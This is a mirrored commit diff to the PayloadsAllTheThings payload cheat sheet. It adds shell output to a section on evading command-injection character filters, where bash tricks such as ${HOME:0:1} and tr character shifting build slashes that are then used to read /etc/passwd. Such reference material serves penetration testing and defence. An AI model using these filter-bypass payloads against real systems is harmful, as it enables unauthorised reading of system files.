mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-19 19:06:12 +00:00
clarification in 'bypass character filter'
added the results of echo and tr commands for clarification
This commit is contained in:
parent
71ddb449ce
commit
bd0c6847b8
@ -145,12 +145,17 @@ Commands execution without backslash and slash - linux bash
|
|||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1}
|
swissky@crashlab▸ ~ ▸ $ echo ${HOME:0:1}
|
||||||
|
/
|
||||||
|
|
||||||
swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
swissky@crashlab▸ ~ ▸ $ cat ${HOME:0:1}etc${HOME:0:1}passwd
|
||||||
root:x:0:0:root:/root:/bin/bash
|
root:x:0:0:root:/root:/bin/bash
|
||||||
|
|
||||||
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1'
|
swissky@crashlab▸ ~ ▸ $ echo . | tr '!-0' '"-1'
|
||||||
|
/
|
||||||
|
|
||||||
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< .
|
swissky@crashlab▸ ~ ▸ $ tr '!-0' '"-1' <<< .
|
||||||
|
/
|
||||||
|
|
||||||
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
swissky@crashlab▸ ~ ▸ $ cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
|
||||||
root:x:0:0:root:/root:/bin/bash
|
root:x:0:0:root:/root:/bin/bash
|
||||||
```
|
```
|
||||||
|
Loading…
Reference in New Issue
Block a user